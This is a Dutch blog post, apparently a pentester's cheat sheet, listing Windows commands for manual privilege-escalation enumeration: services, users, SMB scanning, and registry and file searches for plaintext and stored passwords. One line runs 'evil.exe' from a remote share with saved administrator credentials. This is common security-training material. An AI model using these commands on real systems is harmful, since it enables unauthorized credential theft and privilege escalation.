Windows Manual Privilege Escalation
In de vorige post heb ik mijn basis commando’s opgesomd om handmatig een Linux machine te enumereren en eventueel een mogelijkheid te vinden voor het uitvoeren van Privilege Escalation. In deze post ga ik exact hetzelfde doen voor Windows. Het Windows besturingssysteem werkt weer helemaal anders dan Linux en dus zullen hier naast een paar dezelfde categorieën ook een aantal nieuwe categorieën beschreven worden. Privilege Escalation op Windows, lees dan zeker even deze post.
Deze post is feitelijk een opsomming van verschillende commando’s. De meeste commando’s zijn “command prompt” of wel CMD commando’s. Powershell is echter krachtiger en kent ook diverse mogelijkheden voor enumeratie. Wanneer Powershell gebruikt wordt dan zal dat aangegeven staan bij onderstaande commando’s.
Ik gebruik bij voorkeur altijd een automatisch enumeratiescript zoals WinPEAS, Powerless, PowerUp of PrivescCheck. Niet alleen omdat het sneller is maar vaak ook duidelijker. Potentiele PrivEsc vectors worden vaak al duidelijk aangegeven. Daarin huist echter ook weer wel het gevaar van deze scripts. Wanneer het script het niet als duidelijke PrivEsc vector ziet en er dus geen speciale duiding aan geeft kijk je er als gebruiker gemakkelijk overheen. Daarnaast zijn Privilege Escalation scripts niet stealty. Dus wanneer stealth een belangrijke factor is, of wanneer je de scripts simpelweg niet kunt uploaden / uitvoeren dan is handmatige privilege escalation de enige optie. Zie hieronder welke privilege escalation onderdelen voor Windows we gaan behandelen.
- System / Version Information
- Processes
- Services
- User Information
- Password Policy
- Network Information
- Firewall Information
- Scheduled Tasks
- Connected Devices
- Installed Software
- Drivers
- Startup Items
- SMB Enumeration
- DNS Enumeration
- DC Enumeration
- Plaintext Users and Passwords
- Stored Credentials
- Test Credentials
- Shadow Copies
Laten we bovenstaande onderdelen eens nader gaan bekijken:
System / Version Information
De basis welke we enumereren is het systeem waarop we zitten. Wat voor soort systeem is dit? Als we dit weten kunnen we mogelijke exploits beter finetunen en weten we of het systeem zelf misschien vulnerable.
#Show Windows version and patchlevel: ver #Show all variables and paths: set #Show the hostname: hostname #Show summary of hardware information and system information: systeminfo #Check boot options (with BIOS firmware): more c:\boot.ini #Show applied patches: wmic qfe #Get OS architecture (x32 / x64): wmic os get osarchitecture |

User Information
Wanneer je bent ingelogd wil je altijd graag weten “wie” je bent, welke gebruikers nog meer toegang hebben tot de machine en welke rechten iedereen heeft. Een foute user configuration kan resulteren in privilege escalation.
#The first command you need to run ;-) Check your user rights, privileges and member groups: whoami /all #Get information about local user net user #Get Domain accounts: net user /domain #Any user member of administrators group: net localgroup Administrators #Get information about a specific domain account: net user jarnoadmin /domain #Get domain groups: net group /domain #Anything in the register for auto logon: reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr "DefaultUserName DefaultDomainName DefaultPassword" #Check who is currently logged in: qwinsta |

Let altijd goed op de beschikbare privileges van een gebruiker. Ook als privileges niet vermeld zijn betekend dit niet dat ze disabled zijn. Binnenkort zal ik een separate post maken over Windows Privileges. De volgende diagram is handig om te kijken welke privileges waarvoor te “misbruiken” zijn:

Processes
Processen geven een mooie indicatie van alle activiteiten die op de achtergrond plaatsvinden. Het verteld iets over de configuratie van het systeem en aanwezige diensten / software.
Display all running applications and hosted processes: tasklist /svc #Display verbose task informations tasklist /v |
Services
Ook aanwezig services vertellen veel over de activiteiten van een systeem en ook iets over aanwezige software. Daarnaast kunnen services an-sich ook vulnerable zijn, wanneer fout geconfigureerd.
#Get all services powershell -command Get-Service #Get services and as what user they are running: wmic service get name,startname #Get all services or change “state” to only view “active” or “inactive” services: sc query type= service state= all #Find a specific service: sc query type= service state= all | findstr "%SERVICENAME%" #Set service to start automatically: sc config FreeSSHDService start= auto #Start a service: net start %SERVICENAME% #check service rights: sc qc %SERVICENAME% #Find unquoted service paths: wmic service get name,displayname,pathname,startmode 2>nul |findstr /i "Auto" 2>nul |findstr /i /v "C:\Windows\\" 2>nul |findstr /i /v """ |

Password Policy
Wil je iets met accounts gaan doen, dan is kennis over de wachtwoorden en dan met name de policy waar wachtwoorden aan moeten voldoen erg handig. Ook deze informatie is op te vragen:
#Check password lockout policy:
net accounts |

Network Information
Door netwerkinstellingen te enumereren kun je veel informatie achterhalen van het netwerk waarin de machine zich bevindt. Hoe is het netwerk geconfigureerd? Welke machines zitten in hetzelfde netwerk? Wat is de domain controller?
#Connection to other hosts or services available from inside: netstat -ano Get information from the ARP table: arp -a #Get IP information: ipconfig /all #Show current routing table: route print |

Firewall Information
Een firewall is voor een hacker altijd een “blokkerende” factor. Het is goed om te achterhalen of er een (Windows) firewall geconfigureerd is en zo ja, hoe deze geconfigureerd is:
#Check firewall status: netsh firewall show state #Check configured firewall rules: netsh firewall show config #Check detailed configured firewall rules: netsh advfirewall firewall show rule name=all #Export detailed configured firewall rules: netsh advfirewall export "firewall.txt" |
Scheduled Tasks
Periodiek geplande taken zijn soms een prachtige privilege escalation vector. Ze stellen je soms in staat een actie uit te voeren als een privileged user en ze kunnen ook aangepast worden om malafide acties uit te voeren.
#Get all scheduled tasks schtasks /query /fo LIST 2>nul | findstr TaskName #Powershell version of above command: Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State |

Connected Devices
Door goed je omgeving te enumereren kun je al snel andere informatie vinden. (Hidden) shares of connected devices kunnen je helpen met privilege escalation.
#Get logical disk information:
wmic logicaldisk get caption,description,providername |
Installed Software
Vaak is software verouderd of kan software je helpen (denk aan b.v. compilers). Let goed op welke software beschikbaar is op een machine en doe er je voordeel mee:
#Get installed software: reg query HKEY_LOCAL_MACHINE\SOFTWARE #List software folders with Powershell: Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime |
Drivers
In sommige situaties kunnen zelfs specifieke device drivers een mogelijkheid bieden tot privilege escalation. Enumereer de beschikbare drivers altijd even.
#Get all available drivers:
driverquery |

Startup Items
Deze items worden altijd uitgevoerd tijdens het opstarten. Misschien kun je iets manipuleren dat tijdens het booten als “SYSTEM” wordt uitgevoerd. Zo check je de startup items:
#Get all startup items: wmic startup get caption,command #Get all startup items based on the run values in the register: reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run #Get all startup items that run on next startup based on the run values in the register: reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce #List all startup shortcuts based on the start menu startup folder for every user: dir "C:\Documents and Settings\All Users\Start Menu\Programs\Startup" #List all startup shortcuts based on the start menu startup folder for a specific user: dir "C:\Documents and Settings\%username%\Start Menu\Programs\Startup" |
SMB Enumeration
SMB (Server Message Block) is onderdeel van het Common File System en is een native Windows netwerkprotocol. Wanneer dit protocol gebruikt wordt kun je belangrijke informatie achterhalen of zelfs elevated rights forceren. Meestal is SMB echter interessant voor het verkrijgen van een foothold.
#Find SMB Vulnerabilities with nmap: nmap -p445 --script smb-vuln* 10.10.10.10 #Find SMB information and possible creds with NBTScan: nbtscan 10.10.10.10 #Use Enum4Linux to enumerate SMB: enum4linux 10.10.10.10 #Use SMBmap to test for shares and check folders: smbmap -H 10.10.10.10 smbmap -H 10.10.10.10 -r 'Bob Share' #use SMBclient to connect to a share and work on it: smbclient 10.10.10.10 smbclient "\\\\10.10.10.10\\Bob Share" #Use CrackMapExec to enumerate trough SBM with credentials: crackmapexec 10.10.10.10 -u ‘thinc.local’ -p ‘<password>’ --local-auth --shares |
DNS Enumeration
Door DNS te enumereren kun je erachter komen welke diensten en hosts nog meer op het netwerk aanwezig zijn. Deze informatie geeft je vaak een duidelijker idee van je “aanvalspad” en uiteindelijk naar privilege escalation.
#Check zone transfers: nslookup server domain.com Ls -d domain.com |
DC Enumeration
Wanneer er een domain controller aanwezig is in het netwerk is het belangrijk om deze te enumereren. Als de enumeratie slaagt verkrijg je vaak belangrijke informatie om privilege escalation toe te passen. Denk b.v. aan credentials.
#Get Hostname of DC incl. the DistinGuisedName: [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() |
Plaintext Users and Passwords
Als er op een systeem plaintext credentials te vinden zijn dan is dat een “quick-win”. Deze credentials kunnen je zeker helpen aan hogere rechten. Op de volgende manier controleer je op de aanwezigheid van plain-tekst credentials.
#Find TXT files that contain the string “password”: findstr /si password *.txt #Find XML files that contain the string “password”: findstr /si password *.xml #Find INI files that contain the string “password”: findstr /si password *.ini #Common files that usually contain credentials: c:\sysprep.inf c:\sysprep\sysprep.xml c:\unattend.xml %WINDIR%\Panther\Unattend\Unattended.xml %WINDIR%\Panther\Unattended.xml dir c:\*vnc.ini /s /b dir c:\*ultravnc.ini /s /b dir c:\ /s /b | findstr /si *vnc.ini #Common register paths that usually contain credentials: #VNC reg query "HKCU\Software\ORL\WinVNC3\Password" reg query HKLM /f password /t REG_SZ /s reg query HKCU /f password /t REG_SZ /s #Windows autologin information: reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" #SNMP parameters: reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP" #Putty sessions: reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" |

Stored Credentials
In sommige gevallen “onthoud” Windows je gebruikerscredentials. Controleer of er “stored credentials” aanwezig zijn en gebruik deze eventieel t.b.v. privilege escalation.
#Check for stored credentials: cmdkey /list #Use saved credentials: runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe" #Find other interesting files based on filename like “password.txt”: dir /a password.txt /s /p |
Test Credentials
Deze stap is niet per definitie onderdeel van enumeratie. Maar wanneer je middels bovenstaande stappen credentials verkregen hebt en je wilt deze testen dan zou je dat als volgt kunnen doen:
#Using “net use”: net use \\%LOGONSRV% /user:%LOGONSRV%\%USERNAME% %PASSWORD% #Example of the above command: net use \\bethany /user:bethany\alice ThisIsAPassword |
Shadow Copies
Soms zijn shadow copies aanwezig van bestanden die niet te “openen” of te gebruiken zijn op een draaiend systeem. Deze shadow copies huisvesten soms interessante credentials. Controleer altijd even de aanwezige shadow copies:
# List shadow copies using diskshadow diskshadow list shadows all # Make a symlink to the shadow copy and access it mklink /d c:\shadowcopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\ |
Conclusie
Windows Manual Privilege Escalation is in mijn ogen wat lastiger dan Linux Privilege Escalation. Toch zou je met bovenstaande tips een heel eind moeten komen. Het is belangrijk om tijdens iedere stap goed op te letten en om te begrijpen wat de resultaten “vertellen”. Handmatige enumeratie kost tijd en het liefste wil je dat niet dubbel doen 😉 Bovenstaande Privilege Escalation commando’s zijn een goede start maar ik weet zeker dat jij ook goede enumeratie commando’s hebt! Deel ze gerust met me zodat ik deze lijst aan kan vullen en er zelf weer van kan leren! Heel erg bedankt!
❤ Pls… deel dit bericht s.v.p. verder op andere kanalen zoals je eigen website, social media of geef hem een dikke like! En… je bent ook van harte welkom in onze NL InfoSec Discord! Hier delen we kennis met elkaar of doen we soms gewoon een leuk evenementje…gewoon lekker in het Nederlands. Tot ziens! ❤